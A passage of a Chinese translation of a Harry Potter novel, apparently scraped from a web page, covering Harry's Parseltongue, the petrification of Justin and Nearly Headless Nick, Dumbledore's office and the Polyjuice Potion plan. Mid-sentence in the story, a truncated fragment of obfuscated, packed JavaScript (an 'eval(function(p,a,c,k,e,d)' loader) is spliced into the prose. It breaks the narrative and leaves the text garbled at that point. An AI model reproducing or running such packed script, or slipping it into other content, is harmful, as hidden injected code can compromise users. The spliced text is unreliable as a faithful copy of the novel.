“我知道了,”哈利说,“我的意思是,这是我第二次这么做了。有一次在动物园里,我无意中把一条大蟒放了出来,大蟒向我表哥达力扑去——这事情说来话长,当时那条大蟒告诉我,它从未去过巴西,我就不知不觉把它放了出来,我不是有意的。那时候我还不知道自已是个巫师...” “一条大蟒告诉你,它从未去过巴西?”罗恩用微弱的声音问道。 “怎么啦?”哈利说,“我敢打赌,这里的许多人都能做到这一点。” “哦,他们可做不到,”罗恩说,“这不是一种稀松平常的本领。哈利,这很糟糕。” “什么很糟糕?”哈利问,开始觉得心头生起怒火。“所有的人都出了什么毛病?听着,如果不是我叫那条蛇不要袭击贾斯廷——” “哦,这就是你对它说的话?” “你这是什么意思?你当时也在场,你听见我说话的。” “我听见你用蛇佬腔说话,”罗恩说,“就是蛇的语言。你说什么都有可能。怪不得贾斯廷惊恐万状呢,听你说话的声音,就好像你在怂恿那条蛇似的。那是令人毛骨悚然的,你知道。”哈利目瞪口呆地望着他。 “我说的是另一种语言?可是——我没有意识到——我怎么可能说另一种语言,自己却不知道呢?”罗恩摇了摇头。他和赫敏都显得心情沉重,就好像有人死了似的。哈利不明白有什么事情这么可怕。 “你愿不愿意告诉我,阻止一条丑陋的大蛇把贾斯廷的脑袋咬掉,这有什么不对呢?”他说,“只要贾斯廷没有加入无头鬼的行列,我是怎么做的又有什么关系呢?” “关系重大,”赫敏终于压低声音说话了,“因为能跟蛇说话是萨拉查·斯莱特林的著名本领。所以,斯莱特林学派的象征才是一条蛇啊。” 哈利张大了嘴巴。 “正是这样,”罗恩说,“现在,全校的人都会认为你是他的曾曾曾曾孙什么的...” “但我不是啊。”哈利说。他产生了一种他无法解释得清的恐慌。 “你会发现这一点很难证明,”赫敏说,“他生活在大约一千多年以前;就我们了解的所有情况看,你很可能是他的传人。” 那天夜里,哈利好几个小时都睡不着觉。他透过床四周的帷布的缝隙,注视着片片雪花飘过城堡的窗户,感到心头一片茫然。他可能是萨拉查·斯莱特林的后裔吗?毕竟,他对父亲的家庭一无所知。德思礼夫妇总是禁止他询问有关他那些懂魔法的亲戚的情况。哈利悄悄地试着用蛇佬腔说话,但怎么也说不出来。似乎只有与一条蛇面对面的时候,他才能做到这点。 “可是我属于格兰芬多啊,”哈利心想,“如果我有斯莱特林血统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于是,哈利站起身,从肖像洞口出去,心想,贾斯廷会在哪儿呢?由于厚密的、灰暗的雪花在天空飘舞,封住了每扇窗户,城堡比平常白天要昏暗许多。哈利浑身颤抖着走过正在上课的教室,断断续续地听到了一些里面的情况。麦格教授正朝一个人大喊大叫,从声音听,那人把他的朋友变成了一只獾。哈利克制住想去看一眼的冲动,继续往前走。他想,贾斯廷也许利用这会儿不上课的时间在补习功课呢,于是决定先到图书馆找找看。 真的,图书馆后排坐着一群赫奇帕奇的学生,他们本来也应该上草药课的,但是,看样子他们并不是在温习功课。哈利站在一长溜一长溜高高的书架之间,可以看到他们的脑袋凑在一起,似乎正在交谈着一个有趣的话题。他看不出贾斯廷是不是在他们中间。他正要朝他们走去,突然,他们说的几句话飘进了他的耳朵。他停住脚步,躲在隐形书区里,侧耳倾听。 “所以,不管怎么说,”一个人高马大的男孩子说,“我叫贾斯廷躲在我们的宿舍里。我的意思是,如果波特认准了要把他于掉,他最好暂时隐蔽起来。当然啦,贾斯廷自从不小心对波特说漏了嘴,说他是个天生的麻瓜之后,就一直预料到会发生这样的事。贾斯廷居然还对波特说他曾经上过伊顿公学。对着斯莱特林的后裔,这种话可是不能随便乱说的,是吧?” “这么说,厄尼,你能肯定就是波特?”一个梳着金色马尾辫的姑娘急切地问。 “汉娜,”大个子男孩严肃地说,“他是蛇佬腔。大家都知道,这是黑巫师的标志。你难道听说过哪个正派巫师能跟蛇说话吗?他们管斯莱特林本人就叫蛇语通。” 听了这话,大家七嘴八舌地小声议论开了。厄尼接着往下说:“还记得墙上写的话吗?‘与继承人为敌者,警惕。’波特与费尔奇吵了一架,很快我们就得知,费尔奇的猫遇难了。那个一年级新生克里维,在魁地奇比赛中惹恼了波特,趁他躺在烂泥里的时候给他照相。我们接着便了解到,克里维也遇难了。” “不过,他看上去总是那么友好。”汉娜犹豫不决地说,“还有,对了,当年是他使神秘人消失的。他不可能那么坏,对吧?” 厄尼神秘地压低声音,赫奇帕奇们凑得更紧了,哈利倒着身子挪近一些,以便能听清厄尼的话。 “谁也不知道,当年他遭到神秘人袭击时,是怎么死里逃生的。我的意思是,那件事发生的时候,他还是个婴儿。他应该被炸成碎片才是啊。只有真正威力无穷的黑巫师才能逃脱那样的咒语。”他的声音更低了,简直跟耳语差不多,他说:“大概正是因为这点,神秘人才想首先把他弄死,他不希望又出现一个‘魔头’跟他较量。我不知道波特还有什么别的法术瞒着大家。” 哈利听不下去了。他清了清嗓子,从书架后面走了出来。他如果不是感到这么气愤,就会发现眼前的景象十分滑稽:一看见他,每个赫奇帕奇都吓得呆若木鸡,厄尼的脸上顿时血色全无。 “你们好,”哈利说,“我在找贾斯廷·芬列里。”赫奇帕奇学生们最担心的事情显然得到了证实。他们都惊恐地看着厄尼。 “你找他做什么?”厄尼用颤抖的声音问道。 “我想告诉他,在决斗俱乐部里,那条蛇究竟是怎么回事。”哈利说。 厄尼咬了咬惨白的嘴唇,然后深深地吸了口气,说:“当时我们都在场。我们看见了是怎么回事。” “那么你们有没有注意到,我对蛇说话之后,他就退回去了?”哈利说。 “我只看见,”厄尼固执地说,尽管他全身不停地发抖,“你用蛇佬腔说话,催着蛇向贾斯廷进攻。” “我没有催蛇向他进攻!”哈利气得声音发抖,“蛇连碰都没有碰到他!” “就差一丁点儿。”厄尼说,“假如你想打我的主意,”他急匆匆地说,“我不妨告诉你,你可以追溯到我们家九代的巫师,我的血统和任何人一样纯正,所以——” “我才不关心你有什么样的血统呢!”哈利狂怒地说,“我为什么要去袭击麻瓜?” “我听说你恨那些和你住在一起的麻瓜。”厄尼迅速说道。 “和德思礼一家住在一起,不恨他们是不可能的。”哈利说,“我倒希望你去试试看。” 他猛地转身,怒气冲冲地走出图书馆,平斯夫人正在擦一本大咒语书的镀金封面,抬头不满地瞪视着他。哈利跌跌撞撞地冲进走廊,根本没注意往哪里走,他实在是气糊涂了。结果,他一头撞上了一件东西,那东西又高大又壮实,把他顶得向后跌倒在地。“哦,你好,海格。”哈利说着,抬起头来。 海格的脸被一顶沾满雪花的羊毛盔式帽遮得严严实实,但除了他,不可能是别人,因为那穿着鼹鼠皮上衣的身躯,几乎把走廊完全填满了。他的一只戴着手套的大手里拎着一只死公鸡。 “你还好吗?哈利?”他说,一边把盔式帽往上拉了拉,以便说话,“你怎么没有上课?” “取消了。”哈利说着,从地上爬起来,“你到这里来做什么?” 海格举起那只软绵绵的公鸡。“是这学期被弄死的第二只了,”他解释说,“要么是狐狸,要么是一个吸血的妖怪,我需要校长允许我在鸡棚周围施个咒语。” 他用沽着雪花的浓眉下面的眼睛更仔细地看了看哈利。 “你真的没事吗?你看上去很生气,很不开心。” 哈利没有勇气把厄尼和其他赫奇帕奇的学生刚才议论他的话再说一遍。 “没什么。”他说,“我得走了,海格,下一节是变形课,我得去拿我的书。” 他走开了,脑海里还想着厄尼议论他的话。 “贾斯廷自从不小心对波特说漏了嘴,说他是个天生的麻瓜之后,就一直预料到会发生这样的事...” 哈利重重地踏上楼梯,转向另一道走廊。这里光线特别昏暗,一块窗户玻璃松动了,一股凛冽的狂风吹进来,把火炬扑灭了。他走到一半,突然被躺在地板上的什么东西绊倒了。 他转过脸,眯起眼睛,看看是什么绊倒了他,顿时,他仿佛觉得他的胃液化成了水。 贾斯廷·芬列里躺在地板上,浑身冰冷、僵硬,一种惊恐万状的神情凝固在他脸上,他的眼睛呆滞地盯着天花板。这还不算完,他旁边还有一个人物,哈利从未见过这样离奇怪异的景象。 那是差点没头的尼克,他不再是乳白色和透明的了,而变得浑身乌黑,烟雾缭绕,一动不动地平躺着悬浮在离地面六英寸的地方。他的脑袋掉了一半,脸上带着与贾斯廷一模一样的惊恐表情。 哈利赶紧站起来,呼吸急促,心脏狂跳,像一面小鼓在胸腔里敲击。他迷乱地在空荡荡的走廊里四下张望,只见一行蜘蛛急匆匆地拼命逃走了。他听不见别的声音,只有走廊另一头教室里隐约传来老师的说话声。 他可以逃走,没有人知道自己曾经来过这里。但他不可能让他们躺在这儿,自己一走了之.他必须找人帮忙。会有人相信他与这件事无关吗?他站在那里,惊慌失措。就在这时,他旁边的一扇门砰地被撞开,专爱恶作剧的皮皮鬼一头冲了出来。 “啊,原来是小不点儿波特!”皮皮鬼咯咯地笑着,连蹦带跳地从哈利身边走过,把哈利的眼镜撞歪了。“波特在做什么?波特为什么鬼鬼祟祟——” 皮皮鬼一个空心跟斗翻了一半,突然停住不动了。他头朝下看到了贾斯廷和差点没头的尼克。他赶紧麻利地站直身子,深深吸了口气,没等哈利来得及拦住他,他就直着嗓子尖叫起来:“动手啦!动手啦!又动手啦!是人是鬼都不能幸免啊!快逃命吧!动一手啦!” 咣啷——咣啷——咣啷——,走廊里的门一扇接一扇地被推开,人们蜂拥而出。在那难熬的几分钟里,场面极其混乱,贾斯廷有被人挤扁的危险,不停地有人站到了差点没头的尼克的身体当中。哈利发现自己被挤到了墙边。这时,老师们大声喊叫着,维持秩序。麦格教授一路跑来,后面跟着她班上的学生,其中一个的头发还是黑一道白一道的。麦格教授用魔杖敲出一声巨响,大家顿时安静下来,她命令每个人都回到自己的教室。人们刚刚散得差不多了,赫奇帕奇的厄尼就气喘吁吁地赶到了现场。 “当场抓住了!”厄尼脸色煞白,戏剧性地用手指着哈利,大声喊道。 “够了,厄尼!”麦格教授严厉地说。皮皮鬼在头顶上飘来飘去,俯视着整个场面。这时候咧开嘴巴,露出一脸坏笑:皮皮鬼一向惟恐天下不乱。当老师们弯腰查看贾斯廷和差点没头的尼克时,皮皮鬼突然唱了起来:“哦,波特,你这个讨厌鬼,看你做的好事,你把学生弄死了,自己觉得怪有趣——” “别闹了,皮皮鬼!”麦格教授吼道,皮皮鬼冲哈利吐着舌头,急促地后退着逃走了。 贾斯廷被弗立维教授和天文学系的辛尼斯塔教授抬到医院病房去了,但是,似乎谁也不知道该拿差点没头的尼克怎么办。最后,麦格教授凭空变出一把大扇子,递给厄尼,吩咐他把差点没头的尼克扇上楼梯。厄尼照办了,扇着尼克朝前走,像一艘没有声音的黑色气垫船。走廊里只留下哈利和麦格两人。 “跟我来,波特。”她说。 “教授,”哈利赶紧说,“我发誓我没有——” “这事儿我可管不了,波特。”麦格教授简短地回答。他们默默地拐了个弯,教授在一个奇丑无比的巨大的石头怪兽面前停住脚步。 “冰镇柠檬汁!”她说。这显然是一句口令,只见怪兽突然活了起来,跳到一旁,它身后的墙壁裂成了两半。哈利尽管为即将到来的命运忧心忡忡,却也忍不住暗暗称奇。墙后面是道旋转楼梯,正在缓缓地向上移动,就像自动扶梯一样。哈利和麦格教授一踏上去,就听见后面轰隆一声,墙又合上了。他们旋转着越升越高,越升越高,最后,感到有些头晕的哈利看见前面有一道闪闪发亮的栎木门,上面是一个狮身鹰首兽形状的黄铜门环。 哈利知道他被带到了哪里。 这一定是邓布利多住的地方。 31. 复方汤剂 到了顶上,他们迈出石梯,麦格教授在一扇门上敲了敲。门悄无声息地开了,他们走了进去。麦格教授叫哈利等着,便离开了,把哈利一个人留在那里。 哈利环顾四周,有一点是可以确定的:在哈利这一年拜访过的所有老师办公室中,邓布利多的办公室绝对是最最有趣的。如果哈利不是因为担心自己会被赶出学校而吓得六神无主,他会觉得非常高兴有机会到这里来看看。 这是一个宽敞、美丽的圆形房间,充满了各种滑稽的小声音。细长腿的桌子上,放着许多稀奇古怪的银器,旋转着,喷出一小股一小股的烟雾。墙上挂满了昔日的男女老校长们的肖像,他们都在各自的相框里轻轻地打着呼噜。房间里还有一张巨大的桌子,桌脚是爪子形的。在桌子后面的一块搁板上,放着一顶破破烂烂的、皱皱巴巴的巫师帽——分院帽。 哈利在犹豫。他警惕地看了看周围墙上那些熟睡的巫师。如果他把帽子拿下来,再戴在头上试试,肯定不会有什么问题吧?他只想看看...只想确定一下它把自己放在了合适的学院里。 他悄悄绕过桌子,拿起搁板上的帽子,慢慢把它扣在头上。帽子太大了,滑下来盖住了他的眼睛,就像他第一次戴它时那样。哈利盯着帽子黑色的衬里,等待着。这时,一个小声音在他耳边说:“有事情想不明白,哈利·波特?” “哦,是的。”哈利含糊不清地小声说,“哦——对不起,打扰你了——我想问一下——” “你一直想知道我有没有把你放在合适的学院。”帽子机灵地说,“是的...你的位置特别不容易放准,不过我还是坚持我原来的说法——”哈利的心狂跳起来——“你在斯莱特林会很合适的。” 哈利的心猛地往下一沉。他抓住帽顶,把它摘了下来。帽子软塌塌地悬在他手里,脏兮兮的,已经褪了色。哈利把它放回原来的搁板上,感到一阵恶心。 “你错了。”他大声对静静地待着、一言不发的帽子说。帽子没有动弹。哈利凝视着它,向后退去。突然,后面传来一个奇怪的窒息般的声音,他猛地转过身来。 房间里根本不止他一个人。在门后一根高高的镀金栖枝上,站着一只老态龙钟的鸟,活像是一只被拔光了一□□毛的火鸡。哈利盯着它,那鸟也用愁苦的目光望着他,同时又发出那种窒息般的声音。哈利觉得它看上去病得很重。它的眼睛毫无神采,而且就在哈利望着它的这会儿工夫,又有几片羽毛从它尾巴上掉了下来。 哈利心想,如果邓布利多的鸟死了,而办公室里只有他和鸟单独待着,单是这一件事就够他受的了。就在他这么想的时候,鸟全身突然着起火来。 哈利惊恐地叫喊,后退着撞到桌上。他焦急地环顾四周,指望能有一杯水什么的,可是没有看见。与此同时,那只鸟已经变成了一只火球,它惨叫一声,接着便消失了,只剩下地板上一堆还没有完全熄灭的灰烬。 办公室的门开了,邓布利多走了进来,神情十分凝重。 “教授,”哈利喘着气说,“你的鸟——我没有办法——它突然着了火——” 令哈利感到大为吃惊的是,邓布利多居然露出了微笑。 “差不多是时候了,”他说,“它模样可怕已经有好多天了,我一直叫它快点行动。” 他看到哈利脸上惊愕的表情,不禁轻轻地笑了。 “福克斯是一只凤凰,哈利。凤凰到了将死的时候,就会自焚,然后从灰烬里再生。你看着它...” 哈利一低头,正好看见一只小小的、全身皱巴巴的小雏鸟从灰烬中探出脑袋。它的相貌和老鸟一般丑陋。 “真遗憾,你不得不在涅槃时见到它,”邓布利多说着,在桌子后面坐了下来,“它大部分时间是非常漂亮的:全身都是令人称奇的红色和金色羽毛。凤凰真是十分奇特迷人的生命。它们能携带极为沉重的东西,它们的眼泪具有疗伤的作用,而且它们还是特别忠诚的宠物。” 哈利在福克斯自焚引起的惊恐中,暂时忘记了他到这里来的原因。可是此刻,当邓布利多在桌后的高背椅上坐下,用他浅蓝色的、具有穿透力的目光盯住他的时候,他一切都想起来了。 然而,没等邓布利多再开口说话,办公室的门砰的一声巨响,被人猛地推开。海格一头冲了进来,眼里喷着怒火,盔式帽戴在他黑乎乎、乱蓬蓬的头顶上,那只死公鸡还在他手里晃来晃去。 “不是哈利,邓布利多教授!”海格急切地说,“就在那孩子被发现的几秒钟前,我还跟他说话来着。他绝对没有时间做这种事,先生...” 邓布利多想说什么,但海格只顾大吼大叫,并且焦躁地挥舞着手里的公鸡,把鸡毛扬得哪儿都是。 “...不可能是他,如果需要,我可以当着魔法部的面起誓...” “海格,我——” “...你抓错人了,先生,我知道哈利绝没有——” “海格!”邓布利多提高嗓门说,“我并不认为是哈利袭击了那些人。” “噢,”海格说,公鸡软绵绵地垂落在他身侧,“好吧,我在外面等候吩咐,校长。” 他重重地跺脚走了出去,神情显得很尴尬。 “你认为不是我吗,教授?”哈利满怀希望地问,看着邓布利多拂去桌上的鸡毛。 “对,哈利,我认为不是。”邓布利多说,不过他脸上的神色又凝重起来。 “但是我仍然想和你谈谈。” 哈利紧张地等待着,这时邓布利多端详着他,十个修长手指的指尖碰在一起。“我必须问问你,哈利,你有没有事情愿意告诉我,”他温和地说,“任何事情。” 哈利不知道该怎么说。他想起了马尔福的叫喊:“下一个就轮到你们了,泥巴种!”想起了复方汤剂还在哭泣的桃金娘的盥洗室里慢慢熬着。接着,他又想起他曾两次听见的那个幽灵的声音,想起罗恩说的话:“听见别人听不见的声音,这不是一个好兆头,即使在魔法世界里也是这样。”他还想起了大家议论他的话,以及他的越来越强烈的担心,生怕自己与萨拉查·斯莱特林存在什么关系... “没有,”哈利说,“什么也没有,先生。” 贾斯廷和差点没头的尼克双双遭到袭击,这使原本已经紧张不安的气氛变得真正恐慌起来。说来奇怪,最使人们感到恐慌的倒是差点没头的尼克的遭遇。 什么东西能对一个幽灵下此毒手呢,人们互相询问;什么可怕的力量能够伤害一个已经死去的人呢?学生们差不多是争先恐后地去预订霍格沃茨特快列车的座位,盼着可以回家过圣诞节。 “这样的话,学校里就剩下我们了。”罗恩对哈利和赫敏说,“我们三人,还有马尔福、克拉布和高尔。这将是一个多么有趣的节日啊。” 克拉布和高尔一向是马尔福做什么,他们就做什么,所以也在留校过节的名单上签了名。 不过,哈利倒很高兴大部分学生都离校。他已经厌倦了人们在走廊上躲着他走,好像他随时都会长出獠牙,喷出毒汁,也厌倦了每当他走过时,人们都要指指点点、嘀嘀咕咕地议论他。 然而,弗雷德和乔治倒觉得这一切都很好玩。他们在走廊上特地跑到哈利前面,昂首阔步地走着,嘴里喊道:“给斯莱特林的继承人让路,最邪恶的巫师驾到...” 珀西对这种行为十分不满。“这不是一件拿来取笑的事。”他冷冷地说。 “喂,闪开,珀西,”弗雷德说,“哈利的时间很紧张。” “是啊,他要赶到密室,和他长着獠牙的仆人一起喝茶呢。”乔治哈哈大笑着说。金妮也觉得这事一点儿也不可笑。 “哦,别这样。”每次弗雷德大声问哈利接下来打算对谁下手,或者乔洽见到哈利,假装用一个大蒜头挡住他的进攻时,金妮总是悲哀地喊道。哈利倒并不在意,弗雷德和乔治至少认为,他是斯莱特林继承人的想法是荒唐可笑的,这使他感到欣慰。 但是他们的滑稽行为似乎更加激怒了德拉科·马尔福,他看到他们这么做时,脸色一次比一次难看。“这是因为他巴不得声明这实际上是他干的。”罗恩很有见识地说,“你知道他多么讨厌别人在任何方面超过他。他干了卑鄙的勾当,现在你却得到了所有的荣誉。” “不会太久了。”赫敏用满意的口吻说,“复方汤剂很快就熬好了,我们随时可以从他嘴里套出话来。” 终于,学期结束了,像地上的积雪一般厚重的寂静,笼罩了整个城堡。哈利不觉得沉闷,反而觉得很宁静,一想到他、赫敏和韦斯莱兄妹可以在格兰芬多城堡里随意进出,他就感到很开心。这意味着他们可以大声玩噼啪爆炸而不妨碍任何人,还可以秘密地演习决斗。 弗雷德、乔治和金妮决定留在学校,而不和韦斯莱夫妇一起去埃及看比尔。 珀西对他们的这些孩子气行为不以为然,便很少待在格兰芬多的公共休息室里。他曾经很自负地告诉他们,他之所以留下来过圣诞节,只是因为他作为全优生,有责任在这段动荡的时期支持老师的工作。 圣诞节的黎明到来了,天气寒冷,四下里白皑皑的。宿舍里只剩下哈利和罗恩两个人,一大早,他们就被赫敏吵醒了。她穿戴整齐,怀里抱着给他们两个人的礼物。 “醒醒吧。”她大声说,一边把窗帘拉了上去。 “赫敏——你不应该来这里的。”罗恩说,用手遮着眼睛,挡住光线。 “祝你圣诞快乐。”赫敏说着,把他的礼物扔给他。“我已经起床快一个小时了,给汤剂里又加了一些草蛉虫。它已经熬好了。” 哈利坐起身来,一下子完全清醒了。 “你能肯定?” “绝对肯定。”赫敏说,她把老鼠斑斑挪到一边,自己在哈利的四柱床边坐下。“如果我们要行动的话,我认为应该就在今晚。” 就在这时,海德薇猛地飞进屋子,嘴里衔着一个很小的包裹。 “你好,”它落在哈利的床上后,哈利高兴地说,“你终于又要和我说话了吗?”它以十分亲热的方式轻轻咬了咬他的耳朵,这份问候比它带给他的那份礼物要珍贵得多。原来,那个小包裹是德思礼夫妇捎来的。他们送给哈利一根牙签,还附有一封短信,叫他打听一下,他能不能暑假也留在霍格沃茨度过。 哈利收到的其他圣诞礼物就令人满意得多了。海格送给他一大包乳脂软糖,哈利决定放在火边烤软了再吃。罗恩送给他一本名叫《和火炮队一起飞翔》的书,里面讲的都是他最喜欢的魁地奇队的一些事情。赫敏给他买了一支华贵的羽毛笔。哈利拆开最后一件礼物,原来是韦斯莱夫人送给他的一件崭新的手编毛衣,以及一块大大的葡萄干蛋糕。他拿起韦斯莱夫人的贺卡,心头又涌起一股负疚感。他想到了韦斯莱先生的汽车,它自从与打人柳相撞之后,一直无影无踪,他还想到,他和罗恩接下来又打算违反校规了。 在霍格沃茨的圣诞晚宴上,所有的人都吃得津津有味,甚至包括那些暗自担心待会儿要服用复方汤剂的人。 礼堂显得宏伟气派,不仅有十几棵布满银霜的圣诞树,和天花板上十字交叉的由槲寄生和冬青组成的粗粗的饰带,而且还有施了魔法的雪,温暖而干燥,从天花板上轻轻飘落。 邓布利多领着他们唱了几支他最喜欢的圣诞颂歌,海格灌下了一杯又一杯的蛋奶酒后,嗓门也随之越来越响亮。珀西没有注意到弗雷德已经施了魔法,使他的级长徽章上的字变成了“笨瓜”,还傻乎乎地一个劲儿问大家在笑什么。坐在斯莱特林餐桌上的德拉科·马尔福,粗声大气地对哈利的新毛衣大加嘲讽,哈利对此毫不介意。如果运气好,不出几个小时,马尔福就会得到应有的惩罚了。 哈利和罗恩刚刚吃完第三份圣诞布丁,赫敏就领着他们走出礼堂,去实旅他们当晚的计划。 “我们还需要一些我们要变的人的东西。”赫敏轻描淡写地说,就好像她在打发他们到超级市场去买洗衣粉,“不用说,如果你们能弄到克拉布和高尔的什么东西,那是最好不过:他们是马尔福最好的朋友,他会把什么话都告诉他们的。我们还需要确保,在我们审问马尔福时,千万不能让真正的克拉布和高尔闯进来。 “我已经把一切都计划好了。”她一口气说下去,不理睬哈利和罗恩脸上惊呆的表情。她举起两块巧克力蛋糕,“我在这里面放了普通的催眠药。你们只需保证让克拉布和高尔发现它们。你们知道他们的嘴有多馋,肯定会把它们吃掉的。等他们俩一睡着,就拔下他们俩的几根头发,然后把他俩藏在扫帚柜里。”哈利和罗恩不敢相信地看着对方。 “赫敏,我不认为——” “那样可能会酿成大错——” 可是赫敏眼里闪着铁一般强硬的光,与麦格教授有时候的目光颇为相似。“没有克拉布和高尔的头发,汤剂就不会有用。”她毫不动摇地说,“你们是想审查马尔福的,是吗?” “噢,好吧,好吧。”哈利说,“可是你怎么办呢?你去拔谁的头发?” “我的已经有了!”赫敏开心地说,从口袋里掏出一只小瓶子,给他们看里面的一根头发。“还记得在决斗俱乐部里,米里森跟我摔跤的情景吗?她拼命卡住我脖子的时候,把这个留在我的衣服上了!她回家过圣诞节了——我只要对斯莱特林们说我又决定回来了。” 赫敏又匆匆地赶去查看复方汤剂,罗恩带着一脸大祸临头的表情,转向哈利。 “你听说过哪个计划有这么多环节都可能出毛病吗?” 然而,令哈利和罗恩大为吃惊的是,第一阶段的行动,正如赫敏说的,进行得十分顺利。他们吃过圣诞节茶点后,偷偷溜进空无一人的门厅,等着独自留在斯莱特林餐桌上、狼吞虎咽地吞食第四份松糕的克拉布和高尔。哈利已把巧克力蛋糕放在了栏杆边上。当看见克拉布和高尔走出礼堂时,哈利和罗恩赶紧藏在正门旁边的一套盔甲后面。 “你们真是要多蠢有多蠢!”罗恩欣喜若狂地说。他看见克拉布开心地指着蛋糕给高尔看,然后一把抓在手里。他们咧嘴傻笑着,把蛋糕整个儿塞进了大嘴里。一时间,两个人贪婪地咀嚼着,脸上显得得意洋洋。接着,并不见他们的表情有丝毫变化,他们就向后一翻身,倒在了地板上。 最难做到的就是把他们藏在门厅那头的柜子里。不过,片刻之后,他们总算安安稳稳地待在拖把和水桶中间了。哈利赶忙揪下高尔脑门上的两根粗硬的短毛,与此同时罗恩也拔了克拉布的几根头发。他们还把克拉布和高尔的鞋子也偷了出来,因为他们自己的鞋子是装不下克拉布和高尔的大脚的。 然后,他们飞快地奔向哭泣的桃金娘的盥洗室,一边仍然为刚才所做的事情而惊魂未定。 赫敏还在搅拌小单间里的坩埚,锅中冒出一股股浓密的黑烟,使他们几乎什么也看不见。哈利和罗恩把长袍拉上来遮住脸,轻轻地敲了敲门。 “赫敏?” 他们听见门锁刺耳地一响,赫敏出现了,脸上闪闪发亮,显得很焦急。在她身后,他们听见冒着气泡的、糖浆一般浓稠的汤剂在咕嘟咕嘟地响着。三只平底玻璃酒杯已经放在了马桶座位上。 “弄到了吗?”赫敏屏住呼吸问。 哈利给她看了高尔的头发。 “很好。我从洗衣房偷出了这些换洗的衣服,”赫敏说着,举起一个小布袋,“你们变成克拉布和高尔后,需要穿大号的衣服。” 三个人盯着锅里。离得近了,汤剂看上去像是黑乎乎的黏稠的泥浆,懒洋洋地泛着泡泡。 “我相信我安排的每一个环节都没问题,”赫敏说,紧张地又去阅读《强力药剂》上污迹斑斑的那一页。“它看上去正像书上说的那样...我们喝下去以后,可以有整整一个小时才变回我们自己。” “现在怎么办?”罗恩低声问道。 “我们把它分到三个杯子里,再把头发加进去。” 赫敏用长柄勺子舀起大团汤剂,倒进每只玻璃杯。然后,她的手颤抖着,把米里森的头发从瓶子里倒进第一只玻璃杯。 汤剂响声大作,像一锅滚开的水,并且起劲地泛着泡沫。一秒钟后,它就变成了一种难看的黄颜色。 “哦——米里森的精华,”罗恩说着,一边厌恶地瞅着它,“我猜它肯定很难吃。” “行了,加进你的。”赫敏说。 哈利把高尔的头发扔进中间的那只杯子,罗恩把克拉布的头发放进最后一只杯子。两只杯子都嘶嘶作响,冒着气泡:高尔的变成了坦克一般的土黄色,克拉布的变成了一种黑乎乎的深褐色。 罗恩和赫敏伸手去端自己的杯子。“慢着,”哈利说,“我们最好不要都在这里喝,一旦我们变成了克拉布和高尔,这里就装不下了。米里森也不是一个小巧玲珑的人。” “说得有道理。”罗恩说着,把门打开,“我们每人占用一个单间吧。” 哈利小心翼翼地不让复方汤剂洒出一滴,闪身溜进了中间的小单间。 “准备好了吗?”他喊。 “准备好了。”传来罗恩和赫敏的声音。 “一——二——三——” 哈利捏着鼻子,两口把汤剂吞进肚里。它的味道像煮得过熟的卷心菜。 立刻,他的五脏六腑开始翻腾起来,仿佛他刚才吞下的是几条活蛇——他弯下身子,心想自己会不会病倒——突然,一种烧灼的感觉从他的胃迅速传遍全身,直达手指和脚尖。接着,便是一种可怕的正在熔化的感觉,仿佛他浑身的皮肤都像滚热的蜡一样泛起气泡,这使得他匍匐在地上喘息着。 他眼睁睁地看着自己的手开始变大,手指变粗,指甲变宽,指关节像螺栓一样鼓突出来。他的肩膀开始伸展,使他感到疼痛难忍。他额头上针刺般的痛感告诉他,头发正在朝着他的眉毛蔓延。随着他胸膛的膨胀,他的长袍被撑破了,就像水桶挣断了铁箍。他的脚挤在小了四号的鞋里,痛苦不堪... 事情来得突然,去得也快。一下子,一切都停止了。哈利脸朝下躺在冰冷的砖地上,听着桃金娘在尽头的马桶间里郁闷地汩汩作响。他费劲地脱掉鞋子,站了起来。这么说,成为高尔就是这样的感觉。 他的大手颤抖着,脱去他原先的长袍——它现在悬在他脚脖子上面一英尺的地方——穿上了那套换洗衣服,又穿上高尔的那双小船似的鞋子。他伸手拂去挡住眼睛的头发,触摸到的是钢丝一般粗硬的短毛,低低的发际一直延伸到他前额。这时,他意识到,是他的眼镜使得他的视线模糊不清,因为高尔显然是不需要眼镜的。于是,他把眼镜摘下,然后喊道:“你们俩没事儿吧?”高尔低沉粗哑的声音从他嘴里发出。 “没事儿。”他右边传来克拉布声音浑厚的咕哝。 哈利打开门锁,站到裂了缝的镜子前面。高尔用呆滞的、深陷的眼睛回望着他。哈利搔了搔耳朵,高尔也做得分毫不差。 罗恩的门开了,他们互相瞪着对方。罗恩活脱脱就是克拉布的翻版,从那短短的锅底发型到长长的大猩猩般的手臂,只是脸色显得苍白而惶恐。 “真令人难以置信,”罗恩说着,走到镜子面前,戳了戳克拉布的塌鼻子,“难以置信。” “我们赶紧走吧,”哈利说,一边松开勒住高尔粗手腕的手表,“我们还得弄清斯莱特林的公共休息室在哪里,真希望我们能找一个人可以跟着...” 罗恩一直注视着哈利,这时说道:“看到高尔居然在思考,你不知道这有多么古怪。”他砰砰地敲着赫敏的门。“快点,我们得走了...” 一个尖尖的声音回答他道:“我——我实在不想出来了。你们自己去吧。” “赫敏,我们知道米里森长得很丑,谁也不会知道是你。” “不行——真的不行——我想我不能来了。你们俩赶紧行动,你们在浪费时间。”哈利望着罗恩,一脸的困惑。 “这样就更像高尔了,”罗恩说,“每当老师向他提问时,他总是这副表情。” “赫敏,你没事儿吧?”哈利隔着门问道。“没事儿——我很好...走吧——” 哈利看了看手表。他们宝贵的六十分钟已经过去了五分钟。“我们还回这里和你见面,好吗?”他说。 哈利和罗恩小心地打开盥洗室的门,看清了四下里没有人,便出发了。“别那么晃悠你的胳膊。”哈利小声对罗恩说。 “怎么啦?” “克拉布的胳膊有些僵硬...” “这样怎么样?” “啊,好多了。” 他们走下大理石阶梯。现在,他们只需要看见一个斯莱特林学生,可以跟着他走到斯莱特林的公共休息室就行了,然而周围空无一人。 “有什么主意吗?”哈利低声问道。 “斯莱特林学生总是从那里出来吃早饭的。”罗恩说着,朝通向地下教室的入口处点了点头。他语音未落,就见一个留着长长卷发的姑娘从入口处出来了。 “对不起,”罗恩快步向 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“那好,回你自己的宿舍去吧。”珀西严厉地说,“最近在漆黑的走廊里乱逛很不安全。” “你就在乱逛。”罗恩指出。 “我,”珀西挺直身子,说道,“我是一个级长。没有东西会来袭击我。” 一个声音突然在哈利和罗恩身后回荡。德拉科·马尔福正悠闲地朝他们走来,哈利平生第一次很高兴看见他。 